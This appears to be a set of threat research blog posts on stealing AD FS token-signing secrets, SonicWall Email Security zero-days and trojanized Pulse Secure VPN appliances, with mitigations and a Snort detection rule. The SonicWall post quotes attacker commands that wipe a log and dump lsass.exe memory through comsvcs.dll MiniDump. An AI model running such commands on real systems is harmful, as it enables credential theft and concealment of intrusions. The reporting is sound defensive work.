Before yesterdayThreat Research

# Abusing Replication: Stealing AD FS Secrets Over the Network

27 April 2021 at 17:00

Organizations are increasingly adopting cloud-based services such as Microsoft 365 to host applications and data. Sophisticated threat actors are catching on and Mandiant has observed an increased focus on long-term persistent access to Microsoft 365 as one of their primary objectives. The focus on developing novel and hard to detect methods to achieve this goal was highlighted with the recent detection of UNC2452 and their access to Microsoft 365. One of this group's key TTPs was to steal the Token Signing Certificate from an organization’s AD FS server to enable them to bypass MFA and access cloud services as any user, at any time. While defenders previously associated the defense of this certificate, and thus the entire ecosystem, with careful access control and detection efforts around the AD FS server and service account, this is no longer sufficient. In this blog post we will show how a threat actor, with the right privilege, can extract the encrypted Token Signing Certificate from anywhere on the internal network. Once extracted, a threat actor can easily decrypt it and begin accessing cloud services.

#### Active Directory Federation Services

Active Directory Federation Services (AD FS) is a feature for Windows Servers that enables federated identity and access management. It is often used by organizations to provide single sign-on functionality to access enterprise applications such as Microsoft 365. In technical terms, AD FS functions as an Identity Provider (IdP) and Microsoft 365 is a Service Provider (SP). We’ll use Microsoft 365 as an example going forward, but this technique could apply to any service that is set up to trust AD FS. AD FS verifies a user’s identity and issues assertions that describe the user. Microsoft 365  trusts AD FS to verify user identities and provide it with assertions. To Microsoft 365, it doesn’t matter how AD FS performed the verification, it just needs the assertions.

In the typical deployment (Figure 1), AD FS will verify a user’s identity using Active Directory. At a minimum, an AD FS deployment consists of two servers in an enterprise’s on-premises network: the primary AD FS server, and an AD FS Web Application Proxy (WAP). The proxy is placed in the DMZ and has no functionality besides proxying sign-on attempts from the Internet to the AD FS server. The primary AD FS server receives proxied requests, verifies a user’s identity, and issues assertions that are packaged into SAML security tokens for the user.

Figure 1: Typical AD FS deployment (source: Microsoft)

The SAML token issued by AD FS proves a user’s identity to Microsoft 365 and can also be used to make authorization decisions. The SAML token is an XML document with two main components:

1. Assertions: Assertions are XML elements that describe the user’s identity. An assertion could be a user SID, group membership SIDs, or other elements like the user’s department name. A single SAML token can have multiple assertions attached to it.
2. Digital Signature: The assertions in the SAML token are digitally signed using a public/private keypair that resides on the AD FS server. This is called the Token Signing Certificate.

The Token Signing Certificate is the bedrock of security in AD FS. Microsoft 365 uses the digital signature to validate that the SAML token is authentic, valid, and comes from an AD FS server that it trusts. To enable this verification, an administrator shares the public component of the Token Signing Certificate with Microsoft 365. This is then used to cryptographically verify the digital signature in the SAML token and prove authenticity as well as integrity of the token. In other words, if a threat actor got hold of a Token Signing Certificate, they could generate arbitrary SAML tokens to access any federated application, as any user, and even bypass MFA.

#### Golden SAML

Golden SAML was coined in 2017 by CyberArk to describe the technique of forging SAML tokens to access SPs given a valid Token Signing Certificate. At TROOPERS 19, I detailed how a threat actor could extract the Token Signing Certificate from an AD FS server, as well as some mitigation strategies for defenders.

In a default AD FS configuration, the Token Signing Certificate is stored within a Windows Internal Database (WID) instance that is running on the AD FS server. WID is more or less MS SQL Express, except the database can only be accessed locally over a special named pipe connection. In AD FS, the database is further locked down to only the AD FS service account. The Token Signing Certificate is stored in an encrypted state in the IdentityServerPolicy.ServiceStateSummary table. Figure 2 contains a single row with a column that stores all the settings that AD FS will need on service start as an XML document.

             false             false             99FABAEE46A09CD9B34B9510AB10E2B0C0ACB99B                                     My             CurrentUser             FindByThumbprint

Figure 2: Example Token Signing Certificate stored in the AD FS database

The Token Signing Certificate as it is stored in the AD FS database is encrypted using symmetric key encryption. Windows uses a technology called Distributed Key Management (DKM) to store the secret value used to derive the symmetric key in an Active Directory container. The AD FS service account can read the attributes of this container, derive the symmetric key, and then decrypt the Token Signing Certificate.

AD FS also supports a farm configuration for high availability and load balancing in larger enterprise networks. The individual AD FS servers in a farm can be configured to use unique Token Signing Certificates; however, the default is to have the servers share the same Token Signing Certificate.  In order to stay in sync with each other, the farm will have a primary node and secondary nodes. The secondary nodes make use of a replication service to acquire configuration settings and certificates from the primary AD FS server. To facilitate this, AD FS makes use of Windows Communication Foundation (WCF).

WCF is a framework that allows developers to build service-oriented applications. A WCF application has two components: the service that will receive and process messages, and the client that sends messages to a service and receives back responses. The AD FS servers run a WCF service that is called the Policy Store Transfer Service internally.

To send a message to this service, the client will connect to the URL http://<adfs server name>:80/adfs/services/policystoretransfer. Note that even though the channel is over HTTP, the actual data being exchanged is encrypted during transit. It is also key to understand that although there is a single primary AD FS server, all nodes in an AD FS farm run this WCF service and can be used for replication.

Upon receipt of a message, the WCF service enforces an authorization check to ensure the calling identity is permitted to receive the requested information. The permission check is done by evaluating an authorization policy that is also stored in the IdentityServerPolicy.ServiceStateSummary table of the AD FS database. The policy permits identities whose primary SID matches the AD FS Service account or to any identity that is member of the AD FS server’s local administrators group. If the identity of the client passes the authorization check, then the WCF service will send back a message containing the requested information.

    @RuleName = “Permit Service Account”exists([Type ==     “http://schemas.microsoft.com/ws/2008/06/identity/claims/     primarysid”, Value == “S-1-5-21-3508695881-2242692613     -376241919-1107”]) => issue(Type = “http://schemas     .microsoft.com/authorization/claims/permit”, Value = “     true”);    @RuleName = “Permit Local Administrators”exists([Type ==    “http://schemas.microsoft.com/ws/2008/06/identity/claims/group    sid”, Value == “S-1-5-32-544”])=> issue(Type = "    ;http://schemas.microsoft.com/authorization/claims/permit”, Value     = “true”);

Figure 3: Default Authorization Policy for AD FS server

#### Room for Abuse

A threat actor can abuse the Policy Store Transfer Service to acquire the encrypted Token Signing Certificate over the network, similar to the DCSync technique for Active Directory. It is important to note that the data is still encrypted and requires the DKM key stored in Active Directory to decrypt. This technique, however, requires a significant change to how defenders have secured AD FS servers and monitored them for theft of the Token Signing Certificate.

The authorization policy itself also presents an opportunity for abuse. Because the authorization policy is stored as XML text in the configuration database, a threat actor with enough access could modify it to be more permissive. A threat actor could modify the Authorization Policy to include a group SID such as domain users, S-1-5-21-X-513. Similarly, they could add an ACE to the DKM key container in Active Directory. This would allow the threat actor to easily obtain the Token Signing Certificate and decrypt it using any domain user credentials. This would give them persistent ability to perform a Golden SAML attack with only access to the network as a requirement.

Mandiant has not yet observed this technique used in the wild; however, it is trivial to write a POC for and we are aware of one public tool that will soon support it. Figure 4 shows the output of POC code written in .NET to extract the Token Signing Certificate from a remote AD FS server.

Figure 4: POC code output

#### Mitigations

The best mitigation against this technique is to use the Windows Firewall to restrict access to port 80 TCP to only the AD FS servers in the farm. If an organization has only a single AD FS server, then port 80 TCP can be blocked completely. This block can be put in place because all traffic to and from AD FS servers and proxies for user authentication is over port 443 TCP.

To limit inbound communications, modify the existing firewall rule that AD FS inserts on installation.

If no rule exists, the scriptlet in Figure 5 should be applied to all ADFS servers to create one.

 New-NetFirewallRule -DisplayName "Allow ADFS Servers TCP 80" -Direction Inbound -Action Allow  -Protocol TCP -LocalPort 80 -RemoteAddress ,

Figure 5: Windows Firewall - Allow ADFS Server - TCP 80

Organizations that are monitoring the internal network can alert on HTTP POST requests to the address that hosts the Policy Store Transfer service. If there is an AD FS farm, then the IP addresses of the AD FS servers will need to be whitelisted against the rule. Figure 6 shows a sample Snort rule to detect this activity.

 alert tcp any any -> any 80 (msg:"AD FS Replication"; flow:established, to_server; content:"POST"; http_method; content:"adfs/services/policystoretransfer"; http_uri; threshold:type limit,track by_src,count 1,seconds 3600; priority:3; sid:7000000; rev:1;)

Figure 6: Sample snort rule

#### Acknowledgements

Mandiant would like to acknowledge the great work of Dr. Nestori Syynimaa (@DrAzureAD). Dr. Syynimaa independently thought to research the replication of configuration information between AD FS servers and has published his findings on his blog. Mandiant would also like to thank Microsoft for their collaboration on mitigations and detections for this technique. Lastly, special thanks to Mike Burns of the Mandiant Security Transformation services team for his feedback on mitigations and detections.

# Zero-Day Exploits in SonicWall Email Security Lead to Enterprise Compromise

20 April 2021 at 21:00

In March 2021, Mandiant Managed Defense identified three zero-day vulnerabilities in SonicWall’s Email Security (ES) product that were being exploited in the wild. These vulnerabilities were executed in conjunction to obtain administrative access and code execution on a SonicWall ES device. The adversary leveraged these vulnerabilities, with intimate knowledge of the SonicWall application, to install a backdoor, access files and emails, and move laterally into the victim organization’s network.

The vulnerabilities are being tracked in the following CVEs:

 CVE-2021-20021 9.8 Unauthorized administrative account creation CVE-2021-20022 7.2 Post-authentication arbitrary file upload CVE-2021-20023 4.9 Post-authentication arbitrary file read

Mandiant has been coordinating with the SonicWall Product Security and Incident Response Team (PSIRT) for the responsible disclosure of this information. SonicWall advises all customers and partners to upgrade to the 10.0.9.6173 Hotfix for Windows users, and the 10.0.9.6177 Hotfix for hardware and ESXi virtual appliance users. SonicWall Hosted Email Security product was automatically updated for all customers and no additional action is required for patching purposes. The hotfixes will also be superseded by the upcoming SonicWall ES 10.0.10 release.

#### Overview

Figure 1: SonicWall Email Security ecosystem overview (via SonicWall)

SonicWall Email Security (ES) is an email security solution that “provides comprehensive inbound and outbound protection, and defends against advanced email-borne threats such as ransomware, zero-day threats, spear phishing and business email compromise (BEC).” The solution can be deployed as a physical appliance, virtual appliance, software installation, or a hosted SaaS solution.

Figure 2: Sample SonicWall Email Security login page

Like many appliances, the solution provides a rich, web-accessible administrative interface that serves as the main avenue for product configuration. Depending on the customer’s deployment method, this software is potentially capable of running under Windows or Unix because it heavily leverages OS-independent Apache Tomcat and Java. While the solution doesn’t require that this interface be exposed to the internet, internet-wide scanning shows approximately 700 publicly reachable interfaces.

#### Investigation

In March 2021, Mandiant Managed Defense identified post-exploitation web shell activity on an internet-accessible system within a customer’s environment. Managed Defense isolated the system and collected evidence to determine how the system was compromised.

The system was quickly identified as a SonicWall Email Security (ES) application running on a standard Windows Server 2012 installation. The adversary-installed web shell was being served through the HTTPS-enabled Apache Tomcat web server bundled with SonicWall ES. Due to the web shell being served in the application’s bundled web server, we immediately suspected the compromise was associated with the SonicWall ES application itself.

When we contacted the customer, we learned that the installation of SonicWall ES was the latest version available for download (10.0.9) and that there was no publicly available information pertaining to vulnerabilities or in-the-wild exploitation. To determine if a potential application-level vulnerability was exploited to install the web shell, Mandiant collected endpoint telemetry data.

We soon identified post-exploitation activity aimed at destroying evidence on the system, executed in the context of the web shell. The adversary executed the following command, shortly after installing the web shell:

 cmd.exe /c "echo "" > "C:/Program Files (x86)/SonicWallES/logs/webUI/webui.json

Figure 3: The Adversary clearing existing entries in the current “webui.json” log

This command deleted the most recent application-level log entries recorded by the SonicWall ES web application. While clearing log files is a standard anti-forensics technique, understanding the location of internal log files generated by applications is usually overlooked by most spray-and-pray attackers. This added fuel to our suspicion that we were dealing with an adversary who had intimate knowledge of how the SonicWall ES application worked.

Fortunately for us, additional log files and a previously created virtual server snapshot provided enough evidence to track down the vulnerabilities and the adversary’s activities on the host.

#### Vulnerabilities

##### CVE-2021-20021

Unauthenticated administrative access through improperly secured API endpoint

The SonicWall Email Security application contains an authenticated control panel to provide administration capabilities. One feature available allows application administrators to authorize an additional administrator account from a separate Microsoft Active Directory Organization Unit (AD OU).

 https:///createou?data=

Figure 4: A redacted example of the vulnerable endpoint associated with arbitrary user creation

Requests to this form, however, were not verified to require previous authentication to the appliance.

Due to this vulnerability, an adversary with a well-crafted XML document could either GET or POST their document to the application and create a “role.ouadmin” account (Figure 4). This account could then be used to authenticate to the application as an administrator.

##### CVE-2021-20022

Arbitrary file upload through post-authenticated “branding” feature

Like many enterprise products with a web-based user interface, SonicWall Email Security includes a feature known as "branding" which gives administrators the ability to customize and add certain assets to the interface, such as company logos. These branding assets are managed via packages, and new packages can be created by uploading ZIP archives containing custom text, image files, and layout settings. A lack of file validation can enable an adversary to upload arbitrary files, including executable code, such as web shells.

Once uploaded, these branding package ZIP archives are normally expanded and saved to the <SonicWall ES install path>\data\branding directory. However, an adversary could place malicious files in arbitrary locations, such as a web accessible Apache Tomcat directory, by crafting a ZIP archive containing a file within a sequence of directory traversal notations such as in Figure 5.

Figure 5: Example ZIP archive containing a Zip Slip web shell

It is important to note that the lack of validation which enables Zip Slip attacks is not unique to SonicWall Email Security. As detailed in Snyk's research on the topic, they exist within the many code libraries from which applications have been built.

##### CVE-2021-20023

Mandiant confirmed another post-authentication vulnerability in the administrative panel’s built-in "branding" feature which allowed an adversary to retrieve arbitrary files from the host by sending crafted HTTP GET requests to a particular resource. Figure 6 demonstrates the formatting of such request.

While the working directory of this branding feature is <SonicWall ES install path>\data\updates, a directory-traversal vulnerability allows an adversary to access files located outside of this directory. As the Apache Tomcat webserver handling this request is operating as the NT AUTHORITY\SYSTEM account, any file on the operating system can be accessed.

Combinations of all three exploits were leveraged interchangeably by the adversary to perform the following actions:

1. Creation of a new Administrator account on the SonicWall ES device
2. Exposure of the hashed passwords for existing, locally configured Administrative accounts
3. The creation of a web shell in an arbitrary directory
4. Real-time debugging of exploitation success and failure

#### Post-Exploitation

Upon obtaining administrative access to the appliance through CVE-2021-20021, an adversary sent crafted HTTP requests to the resource /dload_apps, a component of the application's "branding" feature, exploiting CVE-2021-20023. These requests leveraged directory traversal attacks, enabling access to two sensitive XML configuration files located at <SonicWall ES install path>\data\multi_accounts.xml and <SonicWall ES install path>\data\multi_ldap.xml, respectively (Figure 7).

Figure 7: HTTP GET requests exploiting CVE-2021-20023

These files contained details about existing accounts as well as Active Directory credentials used by the application.

Next, the adversary uploaded a ZIP archive containing the BEHINDER JSP web shell from the administrative panel's "branding" page. The crafted ZIP archive used a Zip Slip attack to exploit CVE-2021-20022, which caused the web shell to be written to the web-accessible Apache Tomcat directory <SonicWall ES install path>\Apache Software Foundation\Tomcat 9.0\webapps\SearchEngineRMIService\.

BEHINDER is a publicly available, multi-platform web shell that accepts encrypted command and control (C2) communications. In principle, BEHINDER operates similarly to CHINA CHOPPER, a popular web shell that has been previously detailed by FireEye. Like CHINA CHOPPER, an adversary operates a client-side application to pass commands to the web shell within the body of HTTP requests. As the core functionality of the backdoor is contained within the client-side application, BEHINDER—much like CHINA CHOPPER—has the added benefit of being small, with the variant observed in this investigation weighing in at less than 1 kilobyte (Figure 8).

Figure 8: The BEHINDER web shell observed by Mandiant, which executes AES encrypted and base64 encoded commands

With the addition of a web shell to the server, the adversary had unrestricted access to the command prompt, with the inherited permissions of the NT AUTHORITY\SYSTEM account.

After clearing the SonicWall application “webui.json” log file, the adversary escalated their attack to credential harvesting in preparation of moving laterally into the victim's network. The adversary relied on “living off the land” techniques rather than bringing their own tools into the environment, which often has the benefit of potentially avoiding detections from a security product.

We observed the adversary executing the reg save command to dump the HKLM\SAM, HKLM\SYSTEM, and HKLM\SECURITY registry hives, which contain vital information in recovering password hashes and LSA secrets. Additionally, the adversary obtained in-memory sensitive credentials through the use of built-in memory dumping techniques. The adversary was observed invoking the MiniDump export of the Windows DLL comsvcs.dll to dump both the process memory for lsass.exe and the running instance of Apache Tomcat as seen in Figure 9.

 rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump c:\windows\temp\TS_LAS.dmp full rundll32.exe C:\windows\system32\comsvcs.dll MiniDump C:\windows\temp\TS_FF9DG.dmp full

Figure 9: The adversary acquiring process memory for lsass.exe (MITRE ATT&CK T1003.001) and Apache Tomcat

Mandiant typically observes adversaries employing short and easy-to-type filenames during their operations, simply for efficiency. As such, the aforementioned filenames initially stood out as being peculiar, as a mix of case and symbols would require more effort to type than is often necessary. While this could always be indicative of a tool being used, the slight variations between the two commands—the absence of a comma before the DLL export and the uppercase C:\ drive in the second—suggest that they were manually typed. Considering that the C:\Windows\Temp\ directory on a Windows host also normally contains numerous similarly named temporary files, the adversary was likely taking extra care to evade suspicion should the activity reach the screen of a security analyst.

Continuing their effort to live off the land as much as possible, the adversary located a copy of the archiving utility 7-Zip already present on the host and used it to compress a subdirectory of <SonicWall ES install path>\data\archive\. This directory contains daily archives of emails processed by SonicWall ES—again demonstrating the adversary’s familiarity with the application.

After a several-day lull in activity, the adversary returned to the host, presumably after working to recover passwords from the registry hives and process memory that was dumped earlier. At the time of activity, the victim organization was using the same local Administrator password across multiple hosts in their domain, which provided the adversary an easy opportunity to move laterally under the context of this account—highlighting the value of randomizing passwords to built-in Windows accounts on each host within a domain.

We observed the adversary leveraging Impacket’s publicly available WMIEXEC.PY tool to access several internal hosts, which enabled remote command execution over Microsoft's DCOM protocol via Windows Management Instrumentation (WMI). The adversary managed to briefly perform internal reconnaissance activity prior to being isolated and removed from the environment.

Mandiant currently tracks this activity as UNC2682. Ultimately, Mandiant prevented UNC2682 from completing their mission so their objectives of the attack currently remain unknown.

Each investigation conducted by Mandiant includes analysts from our Advanced Practices team who work to correlate activity observed in the thousands of investigations that Mandiant responds to. At times, we do not have the data available to directly attribute intrusion activity to a previously known group. In these cases, we create a new UNC group to track the activity that we observed. An UNC group is a cluster of related cyber intrusion activity, which includes observable artifacts such as adversary infrastructure, tools, and tradecraft, that we are not yet ready to give a classification such as APT or FIN.

For more details on how Mandiant uses UNC groups, see our blog post: DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors.

#### Investigation & Monitoring Tips

Mandiant recommends monitoring of the following endpoint telemetry indicators for potential evidence of compromise:

• Child processes of the web server process “tomcat” on SonicWall Email Security appliances, particularly cmd.exe
• The creation or existence of web shells on a server hosting SonicWall Email Security

In addition to standard indicators, Mandiant recommends reviewing SonicWall-related internal configuration files and logs for evidence of previous adversary activity.

Evidence of malicious web requests and their values may be identifiable in the following log files:

1. The Apache Tomcat logs:
• C:\Program Files\SonicWallES\Apache Software Foundation\Tomcat 9.0\logs
2. The SonicWall application logs:
• C:\Program Files\SonicWallES\logs\webUI\webui.json

Evidence of unauthorized modifications to SonicWall configuration settings can be confirmed in the following files:

1. The administration user account file:
• C:\Program Files\SonicWallES\data\multi_accounts.xml
2. Additional user account files that may have been created in the following directories:
• C:\Program Files\SonicWallES\data\perhost
• C:\Program Files\SonicWallES\data\perldap
• C:\Program Files\SonicWallES\data\perou
3. Branding related zip files in any of the subdirectories of the following directory:
• C:\Program Files\SonicWallES\data\branding

#### Detecting the Techniques

FireEye detects this activity across our platforms. The following contains specific detection names that provide an indicator of SonicWall ES exploitation or post-exploitation activities associated with this adversary.

 Product Signature FireEye Endpoint Security RUNDLL32.EXE COMSVCS.DLL PROCESS MINIDUMP (METHODOLOGY) SUSPICIOUS REGISTRY EXPORTS (METHODOLOGY) WEB SERVER ECHO REDIRECT (METHODOLOGY) WEB SERVER CMD.EXE TYPE RECON (METHODOLOGY) FireEye Network Security FireEye Email Security FireEye Detection On Demand FireEye Malware File Scanning FireEye Malware File Storage Scanning FE_PUP_Exploit_Linux_ZipSlip_1 FE_Exploit_Win_ZipSlip_1 FE_Trojan_ZIP_Generic_1 FE_Webshell_JSP_BEHINDER_1 FEC_Webshell_JSP_BEHINDER_1 Webshell.JSP.BEHINDER Webshell.JSP.BEHINDER.MVX FireEye Helix METHODOLOGY - LFI [Null-Byte URI] WMIEXEC UTILITY [Args] WINDOWS METHODOLOGY [Unusual Web Server Child Process]

Additionally, SonicWall has deployed Intrusion Prevention System (IPS) signatures to SonicWall firewalls to help detect and block attacks that attempt to leverage the aforementioned vulnerabilities. The following signatures have already been applied to SonicWall firewalls with active security subscriptions:

• IPS Signature: 15520 WEB-ATTACKS SonicWall Email Security (CVE-2021-20022 Vulnerability)
• IPS Signature: 1067 WEB-ATTACKS Web Application Directory Traversal Attack 7
• IPS Signature: 15509 WEB-ATTACKS Web Application Directory Traversal Attack 7 -c2

#### Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

 VID Name A101-563 Malicious File Transfer - BEHINDER, Download, Variant #1 A101-566 Web Shell Activity - BEHINDER, Basic Shell Interaction A101-564 Malicious File Transfer - Zip Slip, Download, EICAR Variant A101-565 Phishing Email - Malicious Attachment, Zip Slip, Generic Themed Lure

#### Vulnerability Disclosure

Mandiant disclosed the vulnerabilities CVE-2021-20021 and CVE-2021-20022 to SonicWall Product Security Incident Response Team (PSIRT) on March 26, 2021. The vulnerabilities were acknowledged and validated on March 29, 2021 and a hotfix became available on April 9, 2021. The patch was communicated to impacted SonicWall customers and partners on April 9, 2021.

Mandiant disclosed the vulnerability CVE-2021-20023 to SonicWall PSIRT on April 6, 2021. The vulnerability was acknowledged and validated on April 9, 2021 and a patch became available April 19.

To mitigate the three CVEs, Mandiant and SonicWall recommend upgrading Email Security to version 10.0.9.6173 (Windows) or 10.0.9.6177 (Hardware & ESXi Virtual Appliances). Organizations using SonicWall Hosted Email Security (HES) products were automatically updated and no action is required for those customers.

#### Acknowledgements

SonicWall PSIRT, Charles Carmakal, Ben Fedore, Geoff Ackerman and Andrew Thompson.

# Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day

20 April 2021 at 14:00

#### Executive Summary

• Mandiant recently responded to multiple security incidents involving compromises of Pulse Secure VPN appliances.
• This blog post examines multiple, related techniques for bypassing single and multifactor authentication on Pulse Secure VPN devices, persisting across upgrades, and maintaining access through webshells.
• The investigation by Pulse Secure has determined that a combination of prior vulnerabilities and a previously unknown vulnerability discovered in April 2021, CVE-2021-22893, are responsible for the initial infection vector.
• Pulse Secure’s parent company, Ivanti, released mitigations for a vulnerability exploited in relation to these malware families and the Pulse Connect Secure Integrity Tool for their customers to determine if their systems are impacted. A final patch to address the vulnerability will be available in early May 2021.
• Pulse Secure has been working closely with Mandiant, affected customers, government partners, and other forensic experts to address these issues.
• There is no indication the identified backdoors were introduced through a supply chain compromise of the company’s network or software deployment process.

#### Introduction

Mandiant is currently tracking 12 malware families associated with the exploitation of Pulse Secure VPN devices. These families are related to the circumvention of authentication and backdoor access to these devices, but they are not necessarily related to each other and have been observed in separate investigations. It is likely that multiple actors are responsible for the creation and deployment of these various code families.

The focus of this report is on the activities of UNC2630 against U.S. Defense Industrial base (DIB) networks, but detailed malware analysis and detection methods for all samples observed at U.S. and European victim organizations are provided in the technical annex to assist network defenders in identifying a large range of malicious activity on affected appliances. Analysis is ongoing to determine the extent of the activity.

Mandiant continues to collaborate with the Ivanti and Pulse Secure teams, Microsoft Threat Intelligence Center (MSTIC), and relevant government and law enforcement agencies to investigate the threat, as well as develop recommendations and mitigations for affected Pulse Secure VPN appliance owners.

As part of their investigation, Ivanti has released mitigations for a vulnerability exploited in relation to this campaign as well as the Pulse Connect Secure Integrity Tool to assist with determining if systems have been impacted.

#### Details

Early this year, Mandiant investigated multiple intrusions at defense, government, and financial organizations around the world. In each intrusion, the earliest evidence of attacker activity traced back to DHCP IP address ranges belonging to Pulse Secure VPN appliances in the affected environment.

In many cases, we were not able to determine how actors obtained administrator-level access to the appliances. However, based on analysis by Ivanti, we suspect some intrusions were due to the exploitation of previously disclosed Pulse Secure vulnerabilities from 2019 and 2020 while other intrusions were due to the exploitation of CVE-2021-22893.

We observed UNC2630 harvesting credentials from various Pulse Secure VPN login flows, which ultimately allowed the actor to use legitimate account credentials to move laterally into the affected environments. In order to maintain persistence to the compromised networks, the actor utilized legitimate, but modified, Pulse Secure binaries and scripts on the VPN appliance. This was done to accomplish the following:

1. Trojanize shared objects with malicious code to log credentials and bypass authentication flows, including multifactor authentication requirements. We track these trojanized assemblies as SLOWPULSE and its variants.
2. Inject webshells we currently track as RADIALPULSE and PULSECHECK into legitimate Internet-accessible Pulse Secure VPN appliance administrative web pages for the devices.
3. Toggle the filesystem between Read-Only and Read-Write modes to allow for file modification on a typically Read-Only filesystem.
4. Maintain persistence across VPN appliance general upgrades that are performed by the administrator.
5. Unpatch modified files and delete utilities and scripts after use to evade detection.
6. Clear relevant log files utilizing a utility tracked as THINBLOOD based on an actor defined regular expression.

In a separate incident in March 2021, we observed UNC2717 using RADIALPULSE, PULSEJUMP, and HARDPULSE at a European organization. Although we did not observe PULSEJUMP or HARDPULSE used by UNC2630 against U.S. DIB companies, these malware families have shared characteristics and serve similar purposes to other code families used by UNC2630. We also observed an OpenSSL library file modified in similar fashion as the other trojanized shared objects. We believe that the modified library file, which we’ve named LOCKPICK, could weaken encryption for communications used by the appliance, but do not have enough evidence to confirm this.

Due to a lack of context and forensic evidence at this time, Mandiant cannot associate all the code families described in this report to UNC2630 or UNC2717. We also note the possibility that one or more related groups is responsible for the development and dissemination of these different tools across loosely connected APT actors. It is likely that additional groups beyond UNC2630 and UNC2717 have adopted one or more of these tools. Despite these gaps in our understanding, we included detailed analysis, detection techniques, and mitigations for all code families in the Technical Annex.

#### SLOWPULSE

During our investigation into the activities of UNC2630, we uncovered a novel malware family we labeled SLOWPULSE. This malware and its variants are applied as modifications to legitimate Pulse Secure files to bypass or log credentials in the authentication flows that exist within the legitimate Pulse Secure shared object libdsplibs.so. Three of the four discovered variants enable the attacker to bypass two-factor authentication. A brief overview of these variants is covered in this section, refer to the Technical Annex for more details.

##### SLOWPULSE Variant 1

This variant is responsible for bypassing LDAP and RADIUS-2FA authentication routines if a secret backdoor password is provided by the attacker. The sample inspects login credentials used at the start of each protocol’s associated routine and strategically forces execution down the successful authentication patch if the provided password matches the attacker's chosen backdoor password.

LDAP Auth Bypass

The routine DSAuth::LDAPAuthServer::authenticate begins the LDAP authentication procedure. This variant inserts a check against the backdoor password after the bind routine so that the return value can be conditionally stomped to spoof successful authentication.

Figure 1: LDAP Auth Bypass

The routine DSAuth::RadiusAuthServer::checkUsernamePassword begins the RADIUS-2FA authentication procedure. This variant inserts checks against the backdoor password after the RADIUS authentication packet is received back from the authentication server. If the backdoor password is provided by the attacker, the packet type and successful authentication status flags are overwritten to spoof successful authentication.

##### SLOWPULSE Variant 2

ACE Two Factor Auth Credential Logging

This variant logs credentials used during the ACE-2FA authentication procedure DSAuth::AceAuthServer::checkUsernamePassword. Rather than bypassing authentication, this variant logs the username and password to a file for later use by the attacker.

Figure 3: ACE Auth Credential Log

##### SLOWPULSE Variant 3

ACE Two Factor Auth Bypass

This variant is responsible for bypassing the ACE-2FA logon procedure starting with DSAuth::AceAuthServer::checkUsernamePassword. The flow of the authentication procedure is modified to bypass the routine responsible for verifying the username and password if the backdoor password is provided. With this modification the attacker can spoof successful authentication.

Figure 4: ACE Auth Bypass Variant

##### SLOWPULSE Variant 4

RealmSignin Two Factor Auth Bypass

This variant bypasses the RealmSignin::runSecondaryAuth procedure of the Pulse Secure VPN. The inserted logic modifies the execution flow of a specific step of the login process to spoof successful authentication. We believe that this may be a two-factor authentication bypass.

Figure 5: RealmSignIn 2FA Auth Bypass

We are in the early stages of gathering evidence and making attribution assessments and there are a number of gaps in our understanding of UNC2630, UNC2717, and these 12 code families. Nevertheless, the Mandiant and Ivanti teams are proactively releasing this analysis to assist network defenders in triaging and identifying malicious activity on affected appliances.

Mandiant is able to assess that:

• UNC2630 targeted U.S. DIB companies with SLOWPULSE, RADIALPULSE, THINBLOOD, ATRIUM, PACEMAKER, SLIGHTPULSE, and PULSECHECK as early as August 2020 until March 2021.
• We suspect UNC2630 operates on behalf of the Chinese government and may have ties to APT5
• UNC2717 targeted global government agencies between October 2020 and March 2021 using HARDPULSE, QUIETPULSE, AND PULSEJUMP.
• We do not have enough evidence about UNC2717 to determine government sponsorship or suspected affiliation with any known APT group.
• We do not have enough information about the use of LOCKPICK to make an attribution statement.
##### UNC2630

UNC2630’s combination of infrastructure, tools, and on-network behavior appear to be unique, and we have not observed them during any other campaigns or at any other engagement. Despite these new tools and infrastructure, Mandiant analysts noted strong similarities to historic intrusions dating back to 2014 and 2015 and conducted by Chinese espionage actor APT5. We have also uncovered limited evidence to suggest that UNC2630 operates on behalf of the Chinese government. Analysis is still ongoing to determine the full scope of the activity that maybe related to the group.

Although we are not able to definitively connect UNC2630 to APT5, or any other existing APT group, a trusted third party has uncovered evidence connecting this activity to historic campaigns which Mandiant tracks as Chinese espionage actor APT5. While we cannot make the same connections, the third party assessment is consistent with our understanding of APT5 and their historic TTPs and targets.

APT5 has shown significant interest in compromising networking devices and manipulating the underlying software which supports these appliances. They have also consistently targeted defense and technology companies in the U.S., Europe, and Asia.

• As early as 2014, Mandiant Incident Response discovered APT5 making unauthorized code modifications to files in the embedded operating system of another technology platform.
• In 2015, APT5 compromised a U.S. telecommunications organization providing services and technologies for private and government entities. During this intrusion, the actors downloaded and modified some of the router images related to the company’s network routers.
• Also during this time, APT5 stole files related to military technology from a South Asian defense organization. Observed filenames suggest the actors were interested in product specifications, emails concerning technical products, procurement bids and proposals, and documents on unmanned aerial vehicles (UAVs).
• APT5 persistently targets high value corporate networks and often re-compromises networks over many years. Their primary targets appear to be aerospace and defense companies located in the U.S., Europe, and Asia. Secondary targets (used to facilitate access to their primary targets) include network appliance manufacturers and software companies usually located in the U.S.

#### Recommendations

All Pulse Secure Connect customers should assess the impact of the Pulse Secure mitigations and apply it if possible. Organizations should utilize the most recent version of Pulse Secure’s Integrity Assurance utility released on March 31, 2021. If a device fails this Integrity Assurance utility, network administrators should follow the instructions here and contact their Pulse CSR for additional guidance.

Organizations should examine available forensic evidence to determine if an attacker compromised user credentials. Ivanti highly recommends resetting all passwords in the environment and reviewing the configuration to ensure no service accounts can be used to authenticate to the vulnerability.

Additional detections, mitigations and relevant MITRE ATT&CK techniques are included in the Technical Annex. Sample hashes and analysis are included to enable defenders to quickly assess if their respective appliances have been affected. Yara rules, Snort rules, and hashes are published on Mandiant’s GitHub page.

#### Detections and Mitigations

1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc

• HARDPULSE contains an embedded 'recovery' URL https://ive-host/dana-na/auth/recover[.]cgi?token=<varies> that may be accessed by an attacker. The sample uses the POST parameters checkcode, hashid, m, and filename. This URL is not present in legitimate versions of this file.

7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a

68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2

d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b

• PULSEJUMP, RADIALPULSE AND PACEMAKER use the following files to record credentials:
• /tmp/dsactiveuser.statementcounters
• /tmp/dsstartssh.statementcounters
